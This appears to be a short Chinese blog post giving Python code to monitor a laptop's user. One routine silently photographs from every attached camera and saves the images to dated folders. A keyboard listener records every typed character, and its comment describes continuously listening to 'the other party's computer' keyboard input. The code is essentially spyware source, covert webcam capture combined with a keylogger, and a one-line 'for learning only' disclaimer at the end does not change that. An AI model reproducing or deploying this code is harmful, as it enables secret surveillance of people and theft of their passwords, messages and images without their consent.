使用Python实现全摄像头拍照与键盘输入监听
一、序
使用Python实现笔记本电脑对使用人的监测,记录下输入的字符与使用人是谁
二、实现代码
摄像头拍照
def show_in_cv(camera_id):
# 获取当前日期和时间
setTime()
DayPaths = SavePath + f'\{formatted_date}'
fileOrNone(DayPaths)
datePaths = DayPaths + f'\{formatted_time}'
fileOrNone(datePaths)
cap = cv.VideoCapture(camera_id, cv.CAP_DSHOW)
# cap.set(cv.CAP_PROP_FRAME_WIDTH, 960)
# cap.set(cv.CAP_PROP_FRAME_HEIGHT, 540)
# cap.set(cv.CAP_PROP_FPS, 30)
suc, frame = cap.read()
# 纯英文路径保存方法
# cv.imwrite(f'{datePaths}\{camera_id}.jpg', frame)
# 中文路径保存方法
cv.imencode('.jpg', frame)[1].tofile(f'{datePaths}\{camera_id}.jpg')
# 弹窗展示功能
# cv.imshow("preview camera", frame)
# cv.waitKey(30)
def cameraMain():
# cameras = list_video_devices()
# print(f'\n\n===========================\ncamera_list: {cameras}')
# print(cameras)
# idx = 1
# camera_id = cameras[idx][0]
# camera_name = cameras[idx][1]
# print(f'\n\n===========================\npreview camera: camera_id={camera_id} camera_name={camera_name}')
# show_in_cv(camera_id)
cameras = list_video_devices()
for idx in cameras:
camera_id = idx[0]
camera_name = idx[1]
show_in_cv(camera_id)
if __name__ == '__main__':
cameraMain()
键盘监听
CODE = ""
# 一直监听对方电脑的键盘输入
# 处理键盘输入的数据
def on_release(key):
global CODE
try:
CODE += key.char
# print(key)
except Exception as e:
try:
if key == key.enter: # 如果扫码枪中的数据是回车enter按键
print(CODE)
except Exception as e:
CODE = ""
def getCODE():
return CODE
# 监听键盘扫码枪输入
def returnCode():
with keyboard.Listener(on_release=on_release) as listener:
listener.join()
if __name__ == '__main__':
returnCode()
三、Waring
本帖单纯是学习记录与分享,不要恶意使用,遵纪守法